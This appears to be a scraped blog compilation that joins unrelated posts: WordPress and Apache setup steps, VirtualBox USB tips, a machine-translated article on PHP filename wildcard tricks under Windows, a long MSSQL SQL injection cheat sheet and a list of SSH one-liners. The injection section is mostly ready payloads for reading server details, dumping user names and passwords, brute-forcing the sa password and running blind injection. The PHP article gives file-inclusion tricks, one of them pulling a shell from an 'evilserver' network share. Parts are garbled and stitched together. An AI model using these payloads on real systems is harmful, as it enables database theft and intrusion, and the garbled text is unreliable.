# mkdir wordpress
# cd wordpress
# curl -O http://wordpress.org/latest.tar.gz
# tar xvfz latest.tar.gz
# rm latest.tar.gz
# mv wordpress/ public
# mkdir logs public/wp-content/uploads public/wp-content/cache
# chown apache:apache logs public/wp-content/uploads public/wp-content/cache
# cd public/

CONFIGURE WORDPRESS


Create the WordPress config file outside web root:

# mv wp-config-sample.php ../wp-config.php
# curl https://api.wordpress.org/secret-key/1.1/salt/

Copy the output to your clipboard before editing wp-config.php.

# nano ../wp-config.php
define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'enter+the+strong+password+you+defined'); define('DB_HOST', 'localhost'); 


define('AUTH_KEY', 'pasted from clipboard'); define('SECURE_AUTH_KEY', 'pasted from clipboard'); define('LOGGED_IN_KEY', 'pasted from clipboard'); define('NONCE_KEY', 'pasted from clipboard'); define('AUTH_SALT', 'pasted from clipboard'); define('SECURE_AUTH_SALT', 'pasted from clipboard'); define('LOGGED_IN_SALT', 'pasted from clipboard'); define('NONCE_SALT', 'pasted from clipboard'); 

CONFIGURE APACHE


# nano /etc/httpd/conf.d/wordpress.conf
NameVirtualHost *:80 <VirtualHost *:80> ServerAdmin webmaster@dummy-host.example.com DocumentRoot /var/www/wordpress/public ServerName dummy-host.example.com ErrorLog /var/www/wordpress/logs/error_log CustomLog /var/www/wordpress/logs/access_log common <Directory /var/www/wordpress/public/wp-content> Options FollowSymLinks # for pretty permalink support RemoveHandler .php RemoveType text/html .php </Directory> </VirtualHost> 

# service httpd restart

WordPress permalink on CentOS 5 tutorial

The installation of WordPress is simple and straightforward. Really. So I’m not going to detail the installation process, which is well documented here. However, the permalink feature does not work out of the box on a standard CentOs 5 distribution. Some changes have to be made in the apache configuration files to enable mod_rewrite in your WordPress directory.

Let’s say you installed WordPress in the root of your website. By default on your CentOs’s apache, the document root of your website is located in /var/www/html.

    1. create an empty a .htaccess file in this directory.
    2. WordPress should be able to read/write this file when updating your settings in the admin pages, so make sure the user running apache has the right to write this file. If not, chmod/chown it. Usually this should do the trick:
      chown apache:apache /var/www/html/.htaccess

    3. now edit the /etc/httpd/conf/httpd.conf file. Search the following:

<Directory "/var/www/html">


# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
#   Options FileInfo AuthConfig Limit
#
AllowOverride None

  1. Change this line to:
    AllowOverride All

    This allows apache to read and interpret the .htaccess located in you document root.
  2. Restart Apache
  3. Now you can change your permalink settings in the admin pages of WordPress, which will modify the .htaccess file created above.Check the rights of the .htaccess file, maybe apache can write it but not read it.
  4. If so, try :chmod a+r /var/www/html/.htaccess

2. Config permalink for VirtualHost:
<VirtualHost *:80>
ServerAdmin webmaster@host.foo.com
DocumentRoot /www/docs/host.foo.com
ServerName host.foo.com
ErrorLog logs/host.foo.com-error_log
CustomLog logs/host.foo.com-access_log
<Directory /www/docs/host.foo.com/>
Options FollowSymLinks
</Directory>
</VirtualHost>

Get your usb drives to work with VirtualBox(Ubuntu host)

To get your USB drives to work with VirtualBox when using Ubuntu as a host, you need to add your user to the vboxusers group. Please note that this doesn’t work with VirtualBox OSE, so you’ll need to install VirtualBox from its repository.

To add your username to the vboxusers group in Ubuntu, go to System > Administration > Users and Groups, click on “Manage groups“, scroll down to the “vboxusers” group and click “Propreties“, then check the box next to your username and click OK:


Then log out and log back in, plug in an USB stick (or whatever you may need), start a VirtualBox machine and select the USB device in the lower right. Using this, the USB device won’t be accessible each time you start the VM.
To have an USB device available each time you start a VM, open VirtualBox, select a VM, click on “Settings” and on the USB tab, click the “+” icon on the right – this will display a list of your USB devices which you can add to your VM.



If you want to set up USB for VirtualBox manually, you can run the following command:

sudo gedit /etc/group

Then search for the “vboxusers” group and add your username to that line, like so:
vboxusers:x:125:andrei

“andrei” is my username – replace it with yours. Then save the file, log out and see above on how to add an USB drive to VirtualBox.

Penetration Testing Framework



This framework helps you to pentest a system. Step by step !

Penetration Testing Framework 0.58

And this is Wireless Penetration Testing Framework







BeEF – 0.4.2.4-alpha



BeEF has release new version : 0.4.2.4-alpha

BeEF, the Browser Exploitation Framework is a professional security tool provided for lawful research and testing purposes. It allows the experienced penetration tester or system administrator additional attack vectors when assessing the posture of a target. The user of BeEF will control which browser will launch which command module and at which target.

BeEF hooks one or more web browsers as beachheads for the launching of directed command modules in real-time. Each browser is likely to be within a different security context. This provides additional vectors that can be exploited by security professionals.

The Framework is being ported to Ruby. The process is well underway and is available for testing. To download alpha versions view the download area on

http://code.google.com/p/beef/downloads/list

New vulnerabilities to access files in PHP

Some years ago, everything just went crazy from the Error-based MySQL, and unserialize seemed somewhat complicated and do not occur in real life. Now it’s the classic technique. What can we say about dinosaurs such as zero-byte inkludah, which came to replace the file name truncated. Researchers always something to dig up, invent, and in the meantime has come new version of the interpreter, engines, and with them – new bugs developers.
In fact, there are three methods to find vulnerabilities: Savvy (when a researcher comes up with some trick and check if it works in practice), source code analysis and fuzzing. On an interesting Chinese fuzzingand its development from my side I want to tell.


Fuzzing – is not only a valuable fur …


t all started with the fact that Google has ordered the issuance of longer remember which request and showed the website in Chinese: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese , where it was collected many interesting finds Chinese fazzerov. Interestingly, in the list were very fresh discoveries, which have just been published in articles. Among them was found and attracted my attention to the code as follows:

<?php for($i=0;$i<255;$i++) { 
$url = '1.ph'.chr($i); 
$tmp = @file_get_contents($url); 
if(!empty($tmp)) echo chr($i)."\r\n"; 

} 
?>
 


He drew me, because I did not understand the meaning, but made out in the description of the familiar characters «win32»:).Translate the Chinese characters were strangely entertaining even with google.translate, so I stupidly run this code under Windows, and looked at the result. Imagine my surprise when I found that file in windsurfing have existed for at least 4 Name: 1.phP, 1.php, 1.ph>, 1.ph <. Now the Chinese writing system does not seem to me so far, and Google's translator helped to understand its meaning. Actually, in this same "sense" was nothing more than a description of the code and the result of his work.Not that not a lot - not at all! This situation does not suit me. I still do not understand these Chinese people - really they are not interested to understand which features more vulnerable, what features it has a bug in the operation, and finally, why is it all work?

Demand the continuation of the banquet!


The first thing I added a second iterator and run code with fuzzing is already in the last two bytes. The results were predictable:
1.p <0 (null byte at the end) 1.p <(gap at the end) 1.p <"1.p <. 1.p <<1.p>> 1.p <> 1.p> <1.p <(p / P) 1.p> (p / P) 1.p (h / H) <1.p (h / H)> 1.p (h / H) (p / P)

Hence, clearly were showing patterns – at the end of the file name could go symbols: point, double quote, space, zero-byte. To test this hunch, I ran the following code:

<?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>


As you might guess, he returned in 1337, that is, everything works as predicted. This in itself was already expanding on the characters of popular vulnerability, an alternative zero-byte at inkludah. After continued harassment of the interpreter were found design file name with slashes at the ends, which also were read without problems:

file\./.\. file////. file\\\. file\\.//\/\/\/.


I think everything is clear here: if you use forward slashes after the file name, then at the end must always stand point. In this case, the slashes can mix, and between them you can stick in one spot.
In all of this was unclear importantly – what is hidden from the characters <and>?

Great and mighty WINAPI


How can I quickly became clear, fuzzing the nature of this error will not understand. Had two choices: watch sortsy or trace calls.Both of these methods fairly quickly pointed to the same thing – call to FindFirstFile. In this case, the call stack has been held with the replacement character> on?, A <to *, double quote is replaced by a point. Also a lot of fun was to notice that, despite the change, <not always work as * in the mask file, but <is always good rehearsed. In this case, the stack both calls were completely identical, but gave different results (see figure). Now it is completely clear where legs grow. And his feet did grow from K named MS.


MSDN Use


Now it was necessary to understand whether such behavior is a function FindFirstFile normal, or is there is a bug. Seek an answer to this question I started with the documentation: msdn.microsoft.com/en-us/library/aa364418 (V = VS.85). aspx .
In the most documentation said nothing about the character> “”, but here in the comments …
Bug?!
The characters of ‘<’ and ‘>’ are treated like wildcard by this function.

[MSFT] – these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
History

10/19/2007
xMartian

5/2/2008
Mark Amos – MSFT

That is, this bug was known back in 2007! And the answer is generally the manufacturer shook their content … No comment:). On this, like, it finally became clear reason for such behavior PHP. Could begin to expand the scope of this bug. After trying various options, re-reading a bunch of documentation (MSDN, and really very useful) and tested hundreds of ideas, I found a set of rules that work for file names in the WIN-systems. And a bug in the FindFirstFile contributes only to the first four of them (the zero point is not counted). Also, looking ahead, I will say that the vulnerability is not only a function file_get_contents:
  1. * And? do not work in file names when calling FindFirstFile through PHP (filtered).
  2. < Character is replaced with a call to FindFirstFile *, ie, mask any number of any characters. In this case, were found instances where it works properly (see picture). To ensure the mask should be used * <.
    Example: include (‘Shell <’) connects a file shell *, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  3. > Symbol is replaced by a call to FindFirstFile?, That is one symbol.
    Example : include (‘shell.p> p’) connects a file shell.p? p, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  4. Symbol is replaced by a call to the FindFirstFile point.
    Example: include (‘Shell “PHP’) is equivalent to include (‘shell.php’).
  5. If the first character in the filename point, then read the file can be named without regard to this point.
    Example: fopen (“htaccess”) is equivalent to fopen (“. htaccess”), while more complex, true with claim 1, fopen («h <<»). Since the file name the second letter” a “, then alphabetically He is likely to be the first.
  6. At the end of the file names you can use a sequence of slashes the same or different species (forward and reverse), among which you can put a single point, and in the end must always stand point, and not, as the real thing.
    Example: fopen (“”)
  7. You can use the network names that begin with \ \, followed by a any character except the point. This is obvious and has long been known to all. Supple only that if the network name does not exist, then the file operation goes the extra 4 seconds, which contributes to the expiration of the time and error max_execution_time (see the article “ Gyulchataj, open face “). Also, it allows you to bypass allow_url_fopen = Off and make RFI.
    Example: include (‘\ \ evilserver \ shell.php’)
  8. You can use the extended names starting with \ \. \, Which gives the ability to switch between the disks in the file name.
    Example: include (‘\ \. \ C: \ My \ file.php \ .. \ .. \ .. \ D: \ anotherfile.php’).
  9. You can use an alternative name syntax disk to bypass filtering slashes.
    Example: file_get_contents (‘C: Boot.ini’) is equivalent to file_get_contents (‘C: / boot.ini’)
  10. You can use the short DOS-compatible file names and directories. This is a dupe, do not argue. But draw your attention that if a directory is more than four files with names shorter than three characters, these names will be supplemented by four hex characters. Similarly, will change the file name in the directory are more than four files whose names begin with the same first two letters.
    Quote:
    Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC, and MYFAVO ~ 4.DOC.Additional files with this root could be named MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC, and MYEACC ~ 1.DOC.

    Example: in.conf a DOS name IND763 ~ 1.CON, that is, it is possible to read stitch file_get_contents (‘<<D763 <<’), which does not contain any bytes from this file name! How are these four Hex characters never said, but they seem to depend only on the file name.
  11. In PHP on the command line environment (not mod_php, as php.exe) runs specific files with reserved names aux, con, prn, com1-9, lpt1-9.
    Example: file_get_contents (‘C: / tmp / con.jpg’) will be endlessly read from the device CON null bytes, waiting for EOF.
    Example: file_put_contents (‘C: / tmp / con.jpg’, Chr (0×07)) pisknet speaker server (music:)).

I advise you to cut out all the items in a frame and hang in a prominent place. Over will not:).
Play Counting

Chinese believe in the caption under the fuzzing that the vulnerability only applies to file_get_contents, I just could not, though, because few could remember the source PHP. Without thinking twice, I checked all the functions that are thought about working with files. The results were more than positive.
The vulnerability is present in the functions:

fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()


Not listed in:

rename unlink rmdir 


There where carousing, is not it? But it’s not so bad.
PoC: the idea of ​​using

It is obvious that this vulnerability could be used to bypass all possible filters and restrictions. For example, for the file. Htaccess, an alternative name will h <<(see section 4, p.1). Two-character files can be read without a name (see p.9).. And so on. There is another, no less an interesting application – Define names of folders and files.
Consider this example:

<?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>


With this code, you can easily get a list of web server directories.
Sends a request to test.php? A =.. / a <% 00 and get an answer form

Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...


or


Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...


In the first case, the server has not found any directory beginning with the letter “a” in the root, the second – has found.
Then you can start the selection of the second letter and so on. To speed up you can use phonetics (see “Faster, higher and faster again. revolutionary approach to manual SQL-injection” ). Works good old-fashioned technique of exploitation of blind SQL injection.
During the experiments it was observed that sometimes the server just gives the path found in the error message. Then pick only have if the directory starts with the same symbol. What determines the output errors, I have not had time to sort things out and leave it to the public.
Digression

It is gratifying to note that the report from the Chinese and found the magician, who published it, among others, in the article“Little-known methods of attacks on web-application” yet on April 19, but the explanations and an emphasis on the vulnerability was not there, there was only the Chinese sample, from which I began.
Morality

Frankly, very much like to find an alternative to the null-byte, but in vain. But this vulnerability opens the door for other, equally interesting attacks. In fact, providing search capabilities directory and files over the functions work with files. That in itself is a unique phenomenon. Whatever it was, Respect the Chinese with their fuzzing, but urge both them and all others to explore the raw data obtained in this way. Fuzzing fuzzing, and must think his head.

Source : http://habrahabr.ru/company/xakep/blog/112691/

MSSQL Tips (SQL injection)

1 - Standard SQL injection (not blind)



1.1 - Information gathering




Get server version:
' OR 1 in (select @@version) --

Get server name:
' OR 1 in (select @@servername) --

Get current username:
' OR 1 in (select USER_NAME()) --

Get current database name:
' OR 1 in (select DB_NAME()) --

1.2 - Database structure


MSSQL is a very friendly database... you can get all db structures via normal select. Fist of all you can take the list of databases on the server.
select * from master..sysdatabases

Using an sql injection like:
' or 1 in (select name from master..sysdatabases) --

will show you only the first result. To get all records we need to implement something in sql like the limit keyword on mysql ($XX$ is the row number):
SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)

or you can use this way (I know, someone will think 2 top should be enough, but sometimes it gives trouble, with 3 top no... don't ask me why... hey Lame! it's your query!):
SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC

You can test this syntax with ("or 1 in" on the first query will return always the same result, so we will use "or 1 ="):
' or 1 = (SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

' or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--

To get numeric data we need to convert them to strings and append a non numeric char, otherwise the sql server will do an automatic cast.
' or 1 in (select CONVERT(varchar(255),dbid)+'$' from master..sysdatabases) --

and we can append data to get results faster
' or 1 = (SELECT CONVERT(varchar(255),dbid)+'$'+name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

Ok, now we have to get the tables name, columns etc. We will work on the current database, but you can access to the others with a double dot syntax, like "master..sysdatabases".
This query will return you all the primary keys of all tables names, column names and column type (string, boolean, int).
SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

and this one will return all non primary keys.
SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

So you can build the database structures using this query:
SELECT  Tablename+'$'+Columnname+'$'+CONVERT(varchar(255),Columntype)

FROM (

SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype, T2.id AS id

FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id

WHERE (

(T1.xtype = 'U' OR T1.xtype = 'V') AND 

(T2.colid IN (

SELECT keyno 

FROM sysindexkeys 

WHERE T1.id = id AND T2.colid = keyno

))

)

) T4

WHERE ((

SELECT COUNT(*)

FROM (

SELECT T7.name AS Tablename, T8.name AS Columnname, T8.xtype AS Columntype, T8.id AS id

FROM sysobjects T7 INNER JOIN syscolumns T8 ON T7.id = T8.id

WHERE (     

(T7.xtype = 'U' OR T7.xtype = 'V') AND 

(T8.colid IN (

SELECT keyno

FROM sysindexkeys

WHERE T7.id = id AND T8.colid = keyno

))

)

) T5

WHERE (CONVERT(varchar(255), T5.id) + T5.columnname <= CONVERT(varchar(255), T4.id) + T4.columnname) 

) = 3

)

or using this (simple) one:
SELECT     CONVERT(varchar(255), T1.name) + '$' + CONVERT(varchar(255), T2.name) + '$' + CONVERT(varchar(255), T2.xtype) AS Expr1

FROM         sysobjects T1 INNER JOIN

syscolumns T2 ON T1.id = T2.id

WHERE     (T1.xtype = 'U' OR

T1.xtype = 'V') AND (T2.colid IN

(SELECT     keyno

FROM          sysindexkeys

WHERE      T1.id = id AND T2.colid = keyno))

Now we can download the primary keys columns ($XX$ is the number of the row) the $ will be the deliminator
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

and the other columns
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Ok... now you have all the database structure of the current database.


1.3 - Dumping the data




If you have the database structure, it is simple to get the data. For example if we have a table named "users" with primary key "userid" (numeric) and with columns username,userpass,usermail you can get single data with:
' or 1 in (select '$'+convert(varchar(255),username) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),userpass) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),usermail) from users where userid = $XX$) --

or you can get it on a single query with:
' or 1 in (select '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail)from users where userid = $XX$) --

If you wouldn't use a where condition (if you don't know how many record there will be, or if you don't know the primary keys) you can always use the top method as:
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail) as pippo from users ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Happy dumping ;)


1.4 - Privilege escalation with OPENROWSET




A query can be done with normal users privileges, but sometimes you need administrator privileges (for example to use xp_cmdshell) or get access to others databases. On SQL SERVER 2000 you can use the OPENROWSET to bruteforce the admin password (on SQL SERVER 2005 it has been disabled by default) with a query like thisone
' or 1 in (select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1')) --

If "Login failed for user 'sa'" appears the login is incorrect, otherwise you found the password. With a query like thisone you can get data of other databases:
' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =0')) --

Remember the escape character in MSSQL is '' so, if you need some ' on the query in the openrowset you need to use them double like:
' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =''0''')) --

2 - Blind sql injection




Ok, we have seen how simple is to get data on standard sql injection with display error on, now we will try to work on blind sql injection. The sample code of a simple application can be found here. The example does a simple query on the master database table and shows the results. In this application as you can see there is a error catching, so you will never see an error.



First of all you have to identify a way to get different results with injecting your data, for example:
1 and 1=1 --
1 and 1=2 --

Another interesing way can be use sql optimizations to get an error if the last part of the query is correct.
1 and 1 in (select @@version) and 1=1 --
1 and 1 in (select @@version) and 1=2 --

Having this kind of difference between the results gives you a way to work with a blind sql injection. Another way can be using WAIT and similar instructions of the db, but to get the results you will spend a lot of time.

To get the data using this response differences we can use the keyword like:
1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

If the page will return a non blank result the table sysdatabases columns names contains a record that starts with the letter M. Now you can implement a little brute force tool to get all the names.
1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'ma%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mas%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mast%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'maste%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'master%')) --

The choice of the charset for the bruteforce attack can cause a lot of problems. You will not be sure to get all the data because you don't know what type the data is. By using the stored procedure fn_varbintohexstryou can convert the data in a hex value, so you will know the charset is "abcdef01234567890".
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d006%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d0061%')) --

As described with the standard sql injection you can get table structures and data. So build your own sql blind bruteforce script.


3 - Compatibility issues




During some pentest I got some strange error on the syntax of the injections, I discovered that there was some compatibilty issues on the software set with sp_dbcmptlevel. To avoid these limits you just need to change the database and work as with blind sql injections.
1' ; use master; select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1') --

4 - Escape errors




Some very skilled programmers use some routines to escape the user input to avoid sql injection problems. Some of them escape the ' char with a \ (for example who uses php with a sql server db). He does not know that on mssql the escape is not \ but ''. So you can inject as normal, but you can not use the ' on the query. This can sometimes be a problem. To bypass this limitation you can use SETQUOTED_IDENTIFIER OFF and use " instead of '. Here is an example:
a';SET QUOTED_IDENTIFIER OFF;select * FROM OPENROWSET("SQLOLEDB","";"sa";"password","SELECT 1");--

25 BEST SSH COMMANDS / TRICKS

OpenSSH is a FREE version of the SSH connectivity tools that technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions.

SSH is an awesome powerful tool, there are unlimited possibility when it comes to SSH, heres the top Voted SSH commands

1) COPY SSH KEYS TO USER@HOST TO ENABLE PASSWORD-LESS SSH LOGINS.

ssh-copy-id user@host

To generate the keys use the command ssh-keygen

2) START A TUNNEL FROM SOME MACHINE’S PORT 80 TO YOUR LOCAL POST 2001
ssh -N -L2001:localhost:80 somemachine

Now you can acces the website by going to http://localhost:2001/

3) OUTPUT YOUR MICROPHONE TO A REMOTE COMPUTER’S SPEAKER
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

This will output the sound from your microphone port to the ssh target computer’s speaker port. The sound quality is very bad, so you will hear a lot of hissing.

4) COMPARE A REMOTE FILE WITH A LOCAL FILE
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

Useful for checking if there are differences between local and remote files.
5) MOUNT FOLDER/FILESYSTEM THROUGH SSH

sshfs name@server:/path/to/folder /path/to/mount/point

Install SSHFS from http://fuse.sourceforge.net/sshfs.html
Will allow you to mount a folder security over a network.

6) SSH CONNECTION THROUGH HOST IN THE MIDDLE
ssh -t reachable_host ssh unreachable_host

Unreachable_host is unavailable from local network, but it’s available from reachable_host’s network. This command creates a connection to unreachable_host through “hidden” connection to reachable_host.

7) COPY FROM HOST1 TO HOST2, THROUGH YOUR HOST
ssh root@host1 “cd /somedir/tocopy/ && tar -cf – .” | ssh root@host2 “cd /samedir/tocopyto/ && tar -xf -”

Good if only you have access to host1 and host2, but they have no access to your host (so ncat won’t work) and they have no direct access to each other.

8) RUN ANY GUI PROGRAM REMOTELY
ssh -fX @

The SSH server configuration requires:

X11Forwarding yes # this is default in Debian

And it’s convenient too:

Compression delayed

9) CREATE A PERSISTENT CONNECTION TO A MACHINE
ssh -MNf @

Create a persistent SSH connection to the host in the background. Combine this with settings in
your ~/.ssh/config:
Host host
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster no

All the SSH connections to the machine will then go through the persisten SSH socket. This is very useful if you are using SSH to synchronize files (using rsync/sftp/cvs/svn) on a regular basis because it won’t create a new socket each time to open an ssh connection.

10) ATTACH SCREEN OVER SSH
ssh -t remote_host screen -r

Directly attach a remote screen session (saves a useless parent bash process)

11) PORT KNOCKING!
knock 3000 4000 5000 && ssh -p user@host && knock 5000 4000 3000

Knock on ports to open a port to a service (ssh for example) and knock again to close the port. You have to install knockd.
See example config file below.
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 3000,4000,5000
seq_timeout = 5
command = /sbin/iptables -A INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 5000,4000,3000
seq_timeout = 5
command = /sbin/iptables -D INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT
tcpflags = syn

12) REMOVE A LINE IN A TEXT FILE. USEFUL TO FIX
ssh-keygen -R

In this case it’s better do to use the dedicated tool
13) RUN COMPLEX REMOTE SHELL CMDS OVER SSH, WITHOUT ESCAPING QUOTES

ssh host -l user $(> ~/.ssh/authorized_keys”

If you use Mac OS X or some other *nix variant that doesn’t come with ssh-copy-id, this one-liner will allow you to add your public key to a remote machine so you can subsequently ssh to that machine without a password.

17) LIVE SSH NETWORK THROUGHPUT TEST
yes | pv | ssh $host “cat > /dev/null”

connects to host via ssh and displays the live transfer speed, directing all transferred data to
/dev/null
needs pv installed
Debian: ‘apt-get install pv’
Fedora: ‘yum install pv’ (may need the ‘extras’ repository enabled)

18) HOW TO ESTABLISH A REMOTE GNU SCREEN SESSION THAT YOU CAN RE-CONNECT TO
ssh -t user@some.domain.com /usr/bin/screen -xRR

Long before tabbed terminals existed, people have been using Gnu screen to open many shells in a single text terminal. Combined with ssh, it gives you the ability to have many open shells with a single remote connection using the above options. If you detach with “Ctrl-a d” or if the ssh session is accidentally terminated, all processes running in your remote shells remain undisturbed, ready for you to reconnect. Other useful screen commands are “Ctrl-a c” (open new shell) and “Ctrl-a a” (alternate between shells). Read this quick reference for more screen commands: http://aperiodic.net/screen/quick_reference

19) RESUME SCP OF A BIG FILE
rsync –partial –progress –rsh=ssh $file_source $user@$host:$destination_file

It can resume a failed secure copy ( usefull when you transfer big files like db dumps through vpn ) using rsync.
It requires rsync installed in both hosts.
rsync –partial –progress –rsh=ssh $file_source $user@$host:$destination_file local -> remote
or
rsync –partial –progress –rsh=ssh $user@$host:$remote_file $destination_file remote -> local

20) ANALYZE TRAFFIC REMOTELY OVER SSH W/ WIRESHARK
ssh root@server.com ‘tshark -f “port !22″ -w -’ | wireshark -k -i -

This captures traffic on a remote machine with tshark, sends the raw pcap data over the ssh link, and displays it in wireshark. Hitting ctrl+C will stop the capture and unfortunately close your wireshark window. This can be worked-around by passing -c # to tshark to only capture a certain # of packets, or redirecting the data through a named pipe rather than piping directly from ssh to wireshark. I recommend filtering as much as you can in the tshark command to conserve bandwidth. tshark can be replaced with tcpdump thusly:
ssh root@example.com tcpdump -w – ‘port !22′ | wireshark -k -i -

21) HAVE AN SSH SESSION OPEN FOREVER
autossh -M50000 -t server.example.com ‘screen -raAd mysession’

Open a ssh session opened forever, great on laptops losing Internet connectivity when switching WIFI spots.

22) HARDER, FASTER, STRONGER SSH CLIENTS
ssh -4 -C -c blowfish-cbc

We force IPv4, compress the stream, specify the cypher stream to be Blowfish. I suppose you could use aes256-ctr as well for cypher spec. I’m of course leaving out things like master control sessions and such as that may not be available on your shell although that would speed things up as well.

23) THROTTLE BANDWIDTH WITH CSTREAM
tar -cj /backup | cstream -t 777k | ssh host ‘tar -xj -C /backup’

this bzips a folder and transfers it over the network to “host” at 777k bit/s.
cstream can do a lot more, have a look http://www.cons.org/cracauer/cstream.html#usage
for example:
echo w00t, i’m 733+ | cstream -b1 -t2

24) TRANSFER SSH PUBLIC KEY TO ANOTHER MACHINE IN ONE STEP
ssh-keygen; ssh-copy-id user@host; ssh user@host

